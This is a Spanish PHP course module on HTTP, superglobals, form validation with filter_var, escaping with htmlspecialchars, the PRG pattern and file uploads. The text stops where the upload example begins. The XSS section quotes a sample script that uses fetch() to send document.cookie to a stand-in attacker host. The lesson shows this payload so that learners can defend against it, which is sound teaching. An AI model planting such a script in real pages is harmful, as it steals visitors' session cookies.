Módulo 08: Formularios y HTTP
Objetivos del módulo
- Entender cómo funciona HTTP: peticiones, respuestas, métodos, cabeceras y códigos de estado
- Conocer las superglobales de PHP y qué contiene cada una
- Procesar formularios GET y POST en el mismo fichero
- Validar datos con
filter_input()yfilter_var()y sus opciones - Escapar la salida con
htmlspecialchars()para evitar XSS - Mantener los valores del formulario y mostrar errores por campo
- Aplicar el patrón PRG (Post/Redirect/Get)
- Recibir arrays desde formularios y subir archivos de forma segura
- Enviar cabeceras y códigos de estado con
header()yhttp_response_code() - Construir un formulario de registro completo con validación
1. Repaso de HTTP
📘 Concepto: HTTP (HyperText Transfer Protocol) es el idioma que hablan el navegador y el servidor. Funciona con un esquema muy simple: el cliente envía una petición (request) y el servidor contesta con una respuesta (response). Cada petición es independiente de las anteriores.
Piensa en HTTP como en pedir en la barra de un bar: tú (el navegador) haces un pedido concreto (“un café con leche”), el camarero (el servidor) te lo sirve junto con el tique, y la conversación termina. Si quieres otra cosa, haces otro pedido.
sequenceDiagram
participant N as Navegador
participant S as Servidor web + PHP
N->>S: GET /buscar.php?q=php HTTP/1.1
Note right of S: PHP ejecuta buscar.php<br/>y genera HTML
S-->>N: HTTP/1.1 200 OK + cabeceras + HTML
N->>S: POST /contacto.php (datos del formulario)
S-->>N: HTTP/1.1 303 See Other (Location: /gracias.php)
N->>S: GET /gracias.php
S-->>N: HTTP/1.1 200 OK + HTML
Anatomía de una petición
POST /contacto.php HTTP/1.1 ← Línea de petición: método, ruta, versión
Host: www.mitienda.es ← Cabeceras
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64)
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Cookie: PHPSESSID=8f2k1...
← Línea en blanco
nombre=Ana&email=ana%40correo.es&acepto=1 ← Cuerpo (solo en POST, PUT...)
Anatomía de una respuesta
HTTP/1.1 200 OK ← Línea de estado
Content-Type: text/html; charset=UTF-8 ← Cabeceras
Set-Cookie: idioma=es; Path=/; HttpOnly
Cache-Control: no-store
← Línea en blanco
<!DOCTYPE html><html>... ← Cuerpo (el HTML que genera PHP)
Métodos HTTP
| Método | Uso | ¿Lleva cuerpo? | ¿Idempotente? |
|---|---|---|---|
GET | Obtener un recurso (páginas, búsquedas) | No | Sí |
POST | Enviar datos que crean o cambian algo | Sí | No |
PUT | Reemplazar un recurso completo | Sí | Sí |
PATCH | Modificar parte de un recurso | Sí | No necesariamente |
DELETE | Borrar un recurso | Opcional | Sí |
HEAD | Como GET pero sin cuerpo (solo cabeceras) | No | Sí |
OPTIONS | Preguntar qué métodos se permiten (CORS) | No | Sí |
📘 Concepto: Idempotente significa que repetir la petición varias veces produce el mismo efecto que hacerla una vez. Recargar una búsqueda (GET) no tiene consecuencias; repetir un pedido (POST) puede cobrarte dos veces. Por eso el navegador pregunta “¿reenviar formulario?” al recargar tras un POST.
Los formularios HTML solo admiten GET y POST. El resto de métodos los usarás en las APIs REST (módulo 17).
GET frente a POST en formularios
| Aspecto | GET | POST |
|---|---|---|
| Dónde viajan los datos | En la URL: ?q=php&pagina=2 | En el cuerpo de la petición |
| Visibles | Sí (barra de direcciones, historial, logs) | No a simple vista (pero no cifrados sin HTTPS) |
| Límite de tamaño | Unos pocos KB (lo limita la URL) | Grande (lo limita post_max_size) |
| Se puede guardar como marcador | Sí | No |
| Uso correcto | Búsquedas, filtros, paginación | Login, registro, pedidos, subida de archivos |
⚠️ Importante: Nunca envíes contraseñas ni datos personales por GET: quedan en el historial del navegador y en los logs del servidor. Y recuerda que ni GET ni POST protegen nada por sí solos: solo HTTPS cifra la comunicación.
Cabeceras habituales
| Cabecera | Dirección | Para qué sirve |
|---|---|---|
Host | Petición | Dominio al que va dirigida |
User-Agent | Petición | Navegador y sistema del cliente |
Accept / Accept-Language | Petición | Formatos e idiomas que prefiere el cliente |
Cookie | Petición | Cookies que el navegador devuelve (módulo 09) |
Content-Type | Ambas | Tipo del cuerpo: text/html, application/json… |
Location | Respuesta | URL a la que redirigir |
Set-Cookie | Respuesta | Pide al navegador que guarde una cookie |
Cache-Control | Respuesta | Cómo cachear la respuesta |
Content-Disposition | Respuesta | Forzar descarga de un fichero |
Códigos de estado
| Rango | Significado | Ejemplos |
|---|---|---|
1xx | Informativo | 100 Continue |
2xx | Éxito | 200 OK, 201 Created, 204 No Content |
3xx | Redirección | 301 Moved Permanently, 302 Found, 303 See Other, 304 Not Modified |
4xx | Error del cliente | 400 Bad Request, 401 Unauthorized, 403 Forbidden, 404 Not Found, 405 Method Not Allowed, 413 Content Too Large, 422 Unprocessable Content |
5xx | Error del servidor | 500 Internal Server Error, 503 Service Unavailable |
💡 Consejo: Abre las herramientas de desarrollo del navegador (F12) → pestaña Red (Network) y haz clic en cualquier petición. Verás el método, la URL, el código de estado y todas las cabeceras. Es la mejor forma de entender HTTP y de depurar formularios.
2. Las superglobales
📘 Concepto: Las superglobales son arrays que PHP rellena automáticamente en cada petición con la información recibida. Se llaman “super” porque son accesibles desde cualquier ámbito, incluso dentro de funciones, sin
global.
| Superglobal | Contenido |
|---|---|
$_GET | Parámetros de la URL (query string): ?q=php → $_GET['q'] |
$_POST | Campos de un formulario enviado por POST (codificación urlencoded o multipart) |
$_SERVER | Información del servidor y de la petición: método, URI, IP, cabeceras… |
$_REQUEST | Mezcla de $_GET, $_POST (y según configuración, $_COOKIE) |
$_FILES | Archivos subidos con un formulario multipart/form-data |
$_COOKIE | Cookies enviadas por el navegador |
$_SESSION | Datos de la sesión del usuario (requiere session_start(), módulo 09) |
$_ENV | Variables de entorno (si variables_order incluye E) |
$_SERVER: datos de la petición
<?php
declare(strict_types=1);
// Visita: http://localhost:8000/info.php?seccion=perfil
echo $_SERVER['REQUEST_METHOD'] . PHP_EOL; // GET
echo $_SERVER['REQUEST_URI'] . PHP_EOL; // /info.php?seccion=perfil
echo $_SERVER['QUERY_STRING'] . PHP_EOL; // seccion=perfil
echo $_SERVER['SCRIPT_NAME'] . PHP_EOL; // /info.php
echo $_SERVER['HTTP_HOST'] . PHP_EOL; // localhost:8000
echo $_SERVER['REMOTE_ADDR'] . PHP_EOL; // 127.0.0.1
echo $_SERVER['HTTP_USER_AGENT'] ?? 'desconocido', PHP_EOL;
echo $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '', PHP_EOL; // es-ES,es;q=0.9,en;q=0.8
var_dump(isset($_SERVER['HTTPS'])); // ¿Se accedió por HTTPS?
Las cabeceras de la petición aparecen con el prefijo HTTP_, en mayúsculas y con guiones bajos: Accept-Language → $_SERVER['HTTP_ACCEPT_LANGUAGE'].
⚠️ Importante: Todo lo que empieza por
HTTP_(y tambiénREQUEST_URI,QUERY_STRINGoPHP_SELF) lo controla el cliente: puede ser falso. Trátalo siempre como dato no fiable.
¿Por qué evitar $_REQUEST?
$_REQUEST mezcla datos de distintos orígenes, así que no sabes si un valor vino de la URL o del formulario. Eso facilita errores y ataques (por ejemplo, ejecutar con un simple enlace GET una acción que debería requerir POST). Usa siempre la superglobal concreta.
$_ENV y getenv()
<?php
// Muchas instalaciones tienen variables_order = "GPCS" (sin E), y $_ENV llega vacío.
$entorno = getenv('APP_ENV') ?: 'produccion';
echo $entorno . PHP_EOL;
En el módulo 13 verás vlucas/phpdotenv, que carga variables desde un fichero .env.
3. Formulario GET: un buscador
Lo más cómodo es que el mismo fichero muestre el formulario y procese los datos. Con GET, los datos están en la URL, así que basta con comprobar si existe el parámetro:
<?php
// buscar.php
declare(strict_types=1);
$libros = [
'Aprende PHP 8.5 desde cero',
'Patrones de diseño en PHP',
'HTML y CSS para principiantes',
'Bases de datos con MySQL',
'Symfony 8 en la práctica',
];
// trim() del valor, o cadena vacía si no existe
$q = trim($_GET['q'] ?? '');
$resultados = [];
if ($q !== '') {
$resultados = array_filter(
$libros,
fn(string $titulo) => mb_stripos($titulo, $q) !== false
);
}
function e(string $texto): string
{
return htmlspecialchars($texto, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
?>
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<title>Buscador de libros</title>
</head>
<body>
<h1>Buscador de libros</h1>
<form action="buscar.php" method="get">
<label for="q">Buscar:</label>
<input type="search" id="q" name="q" value="<?= e($q) ?>">
<button type="submit">Buscar</button>
</form>
<?php if ($q !== ''): ?>
<h2>Resultados para «<?= e($q) ?>» (<?= count($resultados) ?>)</h2>
<?php if ($resultados): ?>
<ul>
<?php foreach ($resultados as $libro): ?>
<li><?= e($libro) ?></li>
<?php endforeach; ?>
</ul>
<?php else: ?>
<p>No se han encontrado libros.</p>
<?php endif; ?>
<?php endif; ?>
</body>
</html>
Al buscar “php” la URL pasa a ser buscar.php?q=php. Puedes compartirla o guardarla como marcador y obtendrás los mismos resultados.
💡 Consejo: Fíjate en la sintaxis alternativa
if (...): ... endif;yforeach (...): ... endforeach;. Es la recomendada cuando mezclas PHP con HTML porque se lee mucho mejor que llaves sueltas entre etiquetas.
Construir URLs con parámetros
Para crear enlaces con parámetros (paginación, filtros) usa http_build_query(), que codifica correctamente los caracteres especiales:
<?php
$params = ['q' => 'php & mysql', 'pagina' => 2, 'orden' => 'precio'];
$url = 'buscar.php?' . http_build_query($params);
echo $url; // buscar.php?q=php+%26+mysql&pagina=2&orden=precio
4. Formulario POST: contacto en el mismo fichero
Con POST hay que distinguir si la página se está mostrando (GET) o si se ha enviado el formulario (POST). Para eso se consulta $_SERVER['REQUEST_METHOD']:
<?php
// contacto.php
declare(strict_types=1);
$enviado = false;
$nombre = '';
$mensaje = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$nombre = trim($_POST['nombre'] ?? '');
$mensaje = trim($_POST['mensaje'] ?? '');
if ($nombre !== '' && $mensaje !== '') {
// Aquí guardaríamos en base de datos o enviaríamos un correo
$enviado = true;
}
}
?>
<!DOCTYPE html>
<html lang="es">
<head><meta charset="UTF-8"><title>Contacto</title></head>
<body>
<?php if ($enviado): ?>
<p>Gracias, <?= htmlspecialchars($nombre) ?>. Hemos recibido tu mensaje.</p>
<?php else: ?>
<form method="post">
<p>
<label>Nombre: <input type="text" name="nombre" value="<?= htmlspecialchars($nombre) ?>"></label>
</p>
<p>
<label>Mensaje:<br>
<textarea name="mensaje" rows="5" cols="40"><?= htmlspecialchars($mensaje) ?></textarea></label>
</p>
<button type="submit">Enviar</button>
</form>
<?php endif; ?>
</body>
</html>
Si omites el atributo action, el formulario se envía a la misma URL en la que está. Es lo más sencillo para formularios autoprocesados.
⚠️ Importante: No uses
if (isset($_POST['enviar']))(el nombre del botón) para detectar el envío: si el usuario pulsa Intro en un campo, algunos navegadores no envían el botón. Comprueba siempre el método de la petición.
⚠️ Importante: No uses
action="<?= $_SERVER['PHP_SELF'] ?>"sin escapar:PHP_SELFpuede contener texto inyectado por el atacante en la URL y provocar XSS. Omiteactiono escribe la ruta a mano.
5. Validación de datos
📘 Concepto: Validar es comprobar que un dato cumple las reglas (¿es un email?, ¿es un número entre 18 y 120?). Si no las cumple, se rechaza y se muestra un error. Toda validación importante debe hacerse en el servidor: la validación HTML (
required,type="email") es solo comodidad para el usuario, porque cualquiera puede saltársela.
Regla de oro: todo dato que llega del cliente es sospechoso. Formularios, URL, cookies, cabeceras… Un atacante puede enviar cualquier cosa con herramientas como curl, sin pasar por tu formulario.
# Saltarse la validación HTML es trivial
curl -X POST http://localhost:8000/contacto.php -d "email=no-es-un-email&edad=-5"
filter_var(): validar un valor
<?php
declare(strict_types=1);
var_dump(filter_var('ana@correo.es', FILTER_VALIDATE_EMAIL)); // string(13) "ana@correo.es"
var_dump(filter_var('ana@', FILTER_VALIDATE_EMAIL)); // bool(false)
var_dump(filter_var('42', FILTER_VALIDATE_INT)); // int(42) ← ¡ya convertido!
var_dump(filter_var('42abc', FILTER_VALIDATE_INT)); // bool(false)
var_dump(filter_var('3.14', FILTER_VALIDATE_FLOAT)); // float(3.14)
var_dump(filter_var('https://php.net', FILTER_VALIDATE_URL)); // string(15) "https://php.net"
var_dump(filter_var('php.net', FILTER_VALIDATE_URL)); // bool(false): falta el esquema
var_dump(filter_var('sí', FILTER_VALIDATE_BOOL, FILTER_NULL_ON_FAILURE)); // NULL
var_dump(filter_var('on', FILTER_VALIDATE_BOOL)); // bool(true)
var_dump(filter_var('192.168.1.10', FILTER_VALIDATE_IP)); // string(12) "192.168.1.10"
Opciones y flags
Muchos filtros admiten opciones (en un array options) y flags:
<?php
declare(strict_types=1);
// Entero entre 18 y 120
$edad = filter_var('35', FILTER_VALIDATE_INT, [
'options' => ['min_range' => 18, 'max_range' => 120],
]);
var_dump($edad); // int(35) (con '15' daría false)
// Valor por defecto si no es válido
$pagina = filter_var('abc', FILTER_VALIDATE_INT, [
'options' => ['default' => 1, 'min_range' => 1],
]);
var_dump($pagina); // int(1)
// Expresión regular: código postal español (5 dígitos)
$cp = filter_var('41010', FILTER_VALIDATE_REGEXP, [
'options' => ['regexp' => '/^\d{5}$/'],
]);
var_dump($cp); // string(5) "41010"
// URL que obligatoriamente tenga ruta
$url = filter_var('https://php.net', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED);
var_dump($url); // bool(false)
| Filtro | Devuelve si es válido | Opciones / flags útiles |
|---|---|---|
FILTER_VALIDATE_INT | int | min_range, max_range, default, FILTER_FLAG_ALLOW_HEX |
FILTER_VALIDATE_FLOAT | float | min_range, max_range, decimal (separador) |
FILTER_VALIDATE_EMAIL | string | FILTER_FLAG_EMAIL_UNICODE |
FILTER_VALIDATE_URL | string | FILTER_FLAG_PATH_REQUIRED, FILTER_FLAG_QUERY_REQUIRED |
FILTER_VALIDATE_BOOL | bool | FILTER_NULL_ON_FAILURE (distingue “no” de “inválido”) |
FILTER_VALIDATE_IP | string | FILTER_FLAG_IPV4, FILTER_FLAG_IPV6, FILTER_FLAG_NO_PRIV_RANGE |
FILTER_VALIDATE_REGEXP | string | regexp (obligatoria) |
FILTER_VALIDATE_DOMAIN | string | FILTER_FLAG_HOSTNAME |
⚠️ Importante: Los filtros devuelven
falsesi el valor no es válido. Compara siempre con=== false:filter_var('0', FILTER_VALIDATE_INT)devuelveint(0), que es “falso” con==pero es un valor válido.
filter_input(): leer y validar a la vez
filter_input() lee directamente de la petición original (sin pasar por $_GET/$_POST) y valida:
<?php
declare(strict_types=1);
$email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
$edad = filter_input(INPUT_POST, 'edad', FILTER_VALIDATE_INT, [
'options' => ['min_range' => 18, 'max_range' => 120],
]);
$pagina = filter_input(INPUT_GET, 'pagina', FILTER_VALIDATE_INT) ?: 1;
// Resultado posible de filter_input:
// null → el campo no se envió
// false → se envió, pero no es válido
// valor → válido (y ya convertido al tipo correcto)
if ($email === null) {
echo 'Falta el email';
} elseif ($email === false) {
echo 'El email no tiene un formato válido';
}
Las constantes de origen son INPUT_GET, INPUT_POST, INPUT_COOKIE, INPUT_SERVER e INPUT_ENV.
Validar varios campos: filter_input_array()
<?php
declare(strict_types=1);
$datos = filter_input_array(INPUT_POST, [
'email' => FILTER_VALIDATE_EMAIL,
'edad' => ['filter' => FILTER_VALIDATE_INT, 'options' => ['min_range' => 18]],
'web' => FILTER_VALIDATE_URL,
'boletin' => ['filter' => FILTER_VALIDATE_BOOL, 'flags' => FILTER_NULL_ON_FAILURE],
]);
// $datos es un array con cada campo validado (false si no es válido, null si no se envió)
Excepciones al fallar la validación (PHP 8.5)
PHP 8.5 añade el flag FILTER_THROW_ON_FAILURE: en lugar de devolver false, el filtro lanza una Filter\FilterFailedException. Encaja bien con el manejo de excepciones del módulo 14:
<?php
declare(strict_types=1);
try {
$email = filter_var($_POST['email'] ?? '', FILTER_VALIDATE_EMAIL, FILTER_THROW_ON_FAILURE);
echo "Email correcto: $email";
} catch (Filter\FilterFailedException $e) {
echo 'Email no válido';
}
⚠️ Importante:
FILTER_THROW_ON_FAILUREsolo afecta a los filtrosFILTER_VALIDATE_*y no se puede combinar conFILTER_NULL_ON_FAILURE(lanzaría unValueError).
Validaciones que no cubren los filtros
<?php
declare(strict_types=1);
$nombre = trim($_POST['nombre'] ?? '');
if ($nombre === '') {
$errores['nombre'] = 'El nombre es obligatorio';
} elseif (mb_strlen($nombre) < 2 || mb_strlen($nombre) > 50) {
$errores['nombre'] = 'El nombre debe tener entre 2 y 50 caracteres';
}
// Valor dentro de una lista cerrada (select, radio): compara siempre con la lista
$provincias = ['sevilla', 'madrid', 'barcelona', 'valencia'];
$provincia = $_POST['provincia'] ?? '';
if (!in_array($provincia, $provincias, true)) {
$errores['provincia'] = 'Elige una provincia de la lista';
}
// Fecha con formato concreto
$fecha = DateTimeImmutable::createFromFormat('!Y-m-d', $_POST['nacimiento'] ?? '');
if ($fecha === false || $fecha->format('Y-m-d') !== ($_POST['nacimiento'] ?? '')) {
$errores['nacimiento'] = 'Fecha no válida';
}
💡 Consejo: Para un
<select>o unosradio, nunca confíes en que el valor recibido es una de tus opciones: compáralo con la lista permitida (lista blanca). El usuario puede enviar lo que quiera.
6. Saneamiento y escape de salida
Hay tres operaciones que a menudo se confunden:
| Operación | Cuándo | Qué hace | Ejemplo |
|---|---|---|---|
| Validar | Al recibir | Acepta o rechaza el dato | filter_var($email, FILTER_VALIDATE_EMAIL) |
| Normalizar / sanear | Al recibir | Limpia el dato (espacios, formato) | trim(), mb_strtolower() |
| Escapar | Al mostrar | Convierte el dato en seguro para el contexto de salida | htmlspecialchars() en HTML |
XSS: el peligro de mostrar datos sin escapar
Imagina un libro de visitas que muestra los comentarios así:
<?php
echo "<p>{$_POST['comentario']}</p>"; // ❌ PELIGRO
Si alguien escribe como comentario:
<script>fetch('https://atacante.example/robar?c=' + document.cookie)</script>
ese código se ejecutará en el navegador de todos los visitantes. Esto es un ataque XSS (Cross-Site Scripting), uno de los más comunes de la web (lo estudiarás a fondo en el módulo 16).
htmlspecialchars()
Convierte los caracteres con significado especial en HTML en entidades inofensivas:
| Carácter | Se convierte en |
|---|---|
& | & |
< | < |
> | > |
" | " |
' | ' (con ENT_QUOTES) |
<?php
$comentario = '<script>alert("hackeado")</script>';
echo htmlspecialchars($comentario, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
// <script>alert("hackeado")</script>
// El navegador muestra el texto tal cual, sin ejecutarlo
ENT_QUOTESescapa comillas dobles y simples (imprescindible dentro de atributos comovalue='...').ENT_SUBSTITUTEsustituye secuencias UTF-8 inválidas por�en vez de devolver una cadena vacía.'UTF-8'es la codificación.
Desde PHP 8.1 esos son precisamente los valores por defecto, pero escribirlos explícitamente deja clara la intención. Lo habitual es crear una función corta:
<?php
declare(strict_types=1);
/** Escapa un texto para mostrarlo de forma segura en HTML */
function e(string|int|float|null $valor): string
{
return htmlspecialchars((string) $valor, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
⚠️ Importante: Escapa en el momento de mostrar, no al guardar. Guarda los datos originales (validados) y aplica
e()en cadaechodentro de HTML. Si escapas al guardar, acabarás con&amp;y datos corruptos para otros usos (JSON, CSV, correo).
⚠️ Importante: No uses
FILTER_SANITIZE_STRING: está obsoleto desde PHP 8.1 porque daba una falsa sensación de seguridad. La protección correcta frente a XSS es escapar la salida según el contexto.
7. Mantener valores y mostrar errores por campo
Un buen formulario, tras un error, conserva lo que el usuario escribió y muestra el error junto al campo que falla. Es una cuestión de usabilidad básica: nadie quiere rellenar todo otra vez.
<?php
// suscripcion.php
declare(strict_types=1);
function e(string|int|float|null $v): string
{
return htmlspecialchars((string) $v, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
$valores = ['nombre' => '', 'email' => '', 'edad' => ''];
$errores = [];
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// 1. Recoger y normalizar
foreach ($valores as $campo => $_) {
$valores[$campo] = trim((string) ($_POST[$campo] ?? ''));
}
// 2. Validar
if ($valores['nombre'] === '') {
$errores['nombre'] = 'Escribe tu nombre';
}
if (filter_var($valores['email'], FILTER_VALIDATE_EMAIL) === false) {
$errores['email'] = 'Escribe un email válido';
}
$edad = filter_var($valores['edad'], FILTER_VALIDATE_INT, ['options' => ['min_range' => 14, 'max_range' => 120]]);
if ($edad === false) {
$errores['edad'] = 'La edad debe ser un número entre 14 y 120';
}
// 3. Si todo es correcto, procesar
if (!$errores) {
// guardar...
echo '<p>¡Suscripción completada!</p>';
exit;
}
}
?>
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<title>Suscripción</title>
<style>
.error { color: #b00020; font-size: .9em; }
.campo-error { border: 2px solid #b00020; }
</style>
</head>
<body>
<?php if ($errores): ?>
<p class="error" role="alert">Revisa los campos marcados (<?= count($errores) ?> errores).</p>
<?php endif; ?>
<form method="post" novalidate>
<p>
<label for="nombre">Nombre</label><br>
<input id="nombre" name="nombre" value="<?= e($valores['nombre']) ?>"
class="<?= isset($errores['nombre']) ? 'campo-error' : '' ?>">
<?php if (isset($errores['nombre'])): ?>
<br><span class="error"><?= e($errores['nombre']) ?></span>
<?php endif; ?>
</p>
<p>
<label for="email">Email</label><br>
<input id="email" name="email" type="email" value="<?= e($valores['email']) ?>"
class="<?= isset($errores['email']) ? 'campo-error' : '' ?>">
<?php if (isset($errores['email'])): ?>
<br><span class="error"><?= e($errores['email']) ?></span>
<?php endif; ?>
</p>
<p>
<label for="edad">Edad</label><br>
<input id="edad" name="edad" type="number" value="<?= e($valores['edad']) ?>"
class="<?= isset($errores['edad']) ? 'campo-error' : '' ?>">
<?php if (isset($errores['edad'])): ?>
<br><span class="error"><?= e($errores['edad']) ?></span>
<?php endif; ?>
</p>
<button type="submit">Suscribirme</button>
</form>
</body>
</html>
💡 Consejo: El atributo
novalidatedesactiva la validación del navegador. Es útil mientras desarrollas para comprobar que tu validación en el servidor funciona. En producción puedes quitarlo y tener las dos.
Mantener selecciones en select, radio y checkbox
<select name="provincia">
<?php foreach (['sevilla' => 'Sevilla', 'madrid' => 'Madrid', 'valencia' => 'Valencia'] as $valor => $texto): ?>
<option value="<?= e($valor) ?>" <?= $valores['provincia'] === $valor ? 'selected' : '' ?>>
<?= e($texto) ?>
</option>
<?php endforeach; ?>
</select>
<label><input type="radio" name="plan" value="basico" <?= $valores['plan'] === 'basico' ? 'checked' : '' ?>> Básico</label>
<label><input type="radio" name="plan" value="pro" <?= $valores['plan'] === 'pro' ? 'checked' : '' ?>> Pro</label>
<label><input type="checkbox" name="acepto" value="1" <?= $valores['acepto'] ? 'checked' : '' ?>> Acepto las condiciones</label>
⚠️ Importante: Un checkbox sin marcar no se envía.
$_POST['acepto']simplemente no existe. Por eso se comprueba conisset($_POST['acepto'])o($_POST['acepto'] ?? '') === '1'.
8. El patrón PRG (Post/Redirect/Get)
El problema
Tras enviar un formulario por POST, si el usuario recarga la página (F5), el navegador vuelve a enviar los mismos datos: un comentario duplicado, un pedido repetido…
La solución
📘 Concepto: El patrón PRG consiste en que, cuando un POST se procesa con éxito, el servidor no devuelve HTML, sino una redirección (código 303) a una página GET. El navegador hace esa petición GET y es la que queda en el historial. Recargar ahora solo repite el GET, que es inofensivo.
sequenceDiagram
participant N as Navegador
participant S as Servidor
N->>S: POST /comentarios.php (texto del comentario)
Note right of S: Valida y guarda
S-->>N: 303 See Other<br/>Location: /comentarios.php?ok=1
N->>S: GET /comentarios.php?ok=1
S-->>N: 200 OK (página con el mensaje de éxito)
Note left of N: Si el usuario recarga,<br/>solo se repite el GET
<?php
// comentarios.php
declare(strict_types=1);
$fichero = __DIR__ . '/comentarios.txt';
$error = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$texto = trim($_POST['texto'] ?? '');
if ($texto === '' || mb_strlen($texto) > 500) {
$error = 'El comentario debe tener entre 1 y 500 caracteres';
} else {
$linea = date('Y-m-d H:i') . ' | ' . str_replace(["\r", "\n"], ' ', $texto) . PHP_EOL;
file_put_contents($fichero, $linea, FILE_APPEND | LOCK_EX);
// PRG: redirigir y terminar
header('Location: comentarios.php?ok=1', true, 303);
exit;
}
}
$comentarios = is_file($fichero) ? file($fichero, FILE_IGNORE_NEW_LINES) : [];
?>
<!DOCTYPE html>
<html lang="es">
<head><meta charset="UTF-8"><title>Comentarios</title></head>
<body>
<?php if (isset($_GET['ok'])): ?>
<p style="color: green">¡Comentario publicado!</p>
<?php endif; ?>
<?php if ($error): ?>
<p style="color: red"><?= htmlspecialchars($error) ?></p>
<?php endif; ?>
<form method="post">
<textarea name="texto" rows="3" cols="50"></textarea><br>
<button>Publicar</button>
</form>
<ul>
<?php foreach (array_reverse($comentarios) as $c): ?>
<li><?= htmlspecialchars($c) ?></li>
<?php endforeach; ?>
</ul>
</body>
</html>
⚠️ Importante: Después de
header('Location: ...')escribe siempreexit;.header()solo añade una cabecera: el script sigue ejecutándose si no lo detienes, y podría seguir procesando o mostrando datos.
💡 Consejo: El parámetro
?ok=1en la URL es una solución sencilla. En el módulo 09 verás una mejor: los mensajes flash guardados en la sesión.
| Código | Cuándo usarlo |
|---|---|
301 | La URL ha cambiado para siempre (SEO, migraciones) |
302 | Redirección temporal genérica (por defecto en header('Location')) |
303 | “Ve a ver el resultado con GET”: el ideal para PRG |
307 / 308 | Redirección temporal / permanente conservando el método (POST sigue siendo POST) |
9. Arrays en formularios
Si el atributo name termina en [], PHP agrupa los valores en un array:
<form method="post">
<p>Aficiones:</p>
<label><input type="checkbox" name="aficiones[]" value="musica"> Música</label>
<label><input type="checkbox" name="aficiones[]" value="deporte"> Deporte</label>
<label><input type="checkbox" name="aficiones[]" value="lectura"> Lectura</label>
<label><input type="checkbox" name="aficiones[]" value="viajes"> Viajes</label>
<p>Dirección:</p>
<input name="direccion[calle]" placeholder="Calle">
<input name="direccion[cp]" placeholder="Código postal">
<input name="direccion[ciudad]" placeholder="Ciudad">
<select name="idiomas[]" multiple>
<option value="es">Español</option>
<option value="en">Inglés</option>
<option value="fr">Francés</option>
</select>
<button>Enviar</button>
</form>
<?php
declare(strict_types=1);
// Si marcas Música y Lectura:
// $_POST['aficiones'] = ['musica', 'lectura']
// $_POST['direccion'] = ['calle' => '...', 'cp' => '...', 'ciudad' => '...']
$permitidas = ['musica', 'deporte', 'lectura', 'viajes'];
$aficiones = $_POST['aficiones'] ?? [];
if (!is_array($aficiones)) {
$aficiones = []; // Alguien envió aficiones=texto en vez de un array
}
// Lista blanca: nos quedamos solo con valores conocidos
$aficiones = array_values(array_intersect($aficiones, $permitidas));
echo 'Has elegido: ' . (implode(', ', $aficiones) ?: 'ninguna');
$direccion = $_POST['direccion'] ?? [];
$cp = is_array($direccion) ? trim((string) ($direccion['cp'] ?? '')) : '';
Para recordar las casillas marcadas tras un error:
<input type="checkbox" name="aficiones[]" value="musica"
<?= in_array('musica', $aficiones, true) ? 'checked' : '' ?>> Música
⚠️ Importante: Comprueba siempre con
is_array()antes de tratar un campo como array, y al revés: un atacante puede enviarnombre[]=xpara que$_POST['nombre']sea un array y provocar unTypeErrorentrim(). Por eso en los ejemplos usamos(string)o comprobaciones de tipo.
10. Subida de archivos segura
El formulario
<form method="post" enctype="multipart/form-data">
<label>Foto de perfil (JPG, PNG o WebP, máx. 2 MB):
<input type="file" name="avatar" accept="image/jpeg,image/png,image/webp">
</label>
<button>Subir</button>
</form>
⚠️ Importante: Sin
enctype="multipart/form-data"ymethod="post", el archivo no se envía: solo llegaría su nombre.
Qué contiene $_FILES
// print_r($_FILES) tras subir "vacaciones.jpg"
Array
(
[avatar] => Array
(
[name] => vacaciones.jpg // Nombre original (¡lo pone el cliente!)
[full_path] => vacaciones.jpg // Ruta relativa (subida de carpetas, PHP 8.1)
[type] => image/jpeg // Tipo MIME (¡lo pone el cliente!)
[tmp_name] => /tmp/phpA1b2C3 // Fichero temporal en el servidor
[error] => 0 // Código de error (0 = correcto)
[size] => 245873 // Tamaño en bytes
)
)
PHP guarda el archivo en una carpeta temporal y lo borra al terminar la petición. Tu trabajo es validarlo y moverlo a su destino definitivo.
Códigos de error
| Constante | Valor | Significado |
|---|---|---|
UPLOAD_ERR_OK | 0 | Subida correcta |
UPLOAD_ERR_INI_SIZE | 1 | Supera upload_max_filesize de php.ini |
UPLOAD_ERR_FORM_SIZE | 2 | Supera el campo oculto MAX_FILE_SIZE del formulario |
UPLOAD_ERR_PARTIAL | 3 | Se subió solo una parte |
UPLOAD_ERR_NO_FILE | 4 | No se seleccionó ningún archivo |
UPLOAD_ERR_NO_TMP_DIR | 6 | Falta la carpeta temporal |
UPLOAD_ERR_CANT_WRITE | 7 | No se pudo escribir en disco |
UPLOAD_ERR_EXTENSION | 8 | Una extensión de PHP detuvo la subida |
Límites en php.ini
; Activa la subida de archivos
file_uploads = On
; Tamaño máximo de cada archivo
upload_max_filesize = 2M
; Tamaño máximo de TODA la petición POST (debe ser mayor que upload_max_filesize)
post_max_size = 8M
; Número máximo de archivos por petición
max_file_uploads = 20
⚠️ Importante: Si la petición entera supera
post_max_size, PHP descarta todo:$_POSTy$_FILESllegan vacíos, sin ningún código de error. Si un formulario “no envía nada” con archivos grandes, revisa este valor. Puedes detectarlo comparando$_SERVER['CONTENT_LENGTH']con el límite.
Validación paso a paso
| Comprobación | Por qué |
|---|---|
error === UPLOAD_ERR_OK | Descarta subidas fallidas |
is_uploaded_file() / move_uploaded_file() | Garantiza que el fichero viene de una subida HTTP real |
| Tamaño máximo propio | No te fíes solo de php.ini |
Tipo MIME real con finfo | $_FILES['type'] y la extensión los decide el cliente |
| Lista blanca de tipos | Solo aceptas lo que necesitas |
| Nombre aleatorio generado por ti | Evita sobrescrituras, nombres maliciosos (../../index.php) y extensiones peligrosas |
| Carpeta fuera de la raíz web o sin ejecución de PHP | Si alguien cuela un .php, que no se pueda ejecutar |
Ejemplo completo
<?php
// subir-avatar.php
declare(strict_types=1);
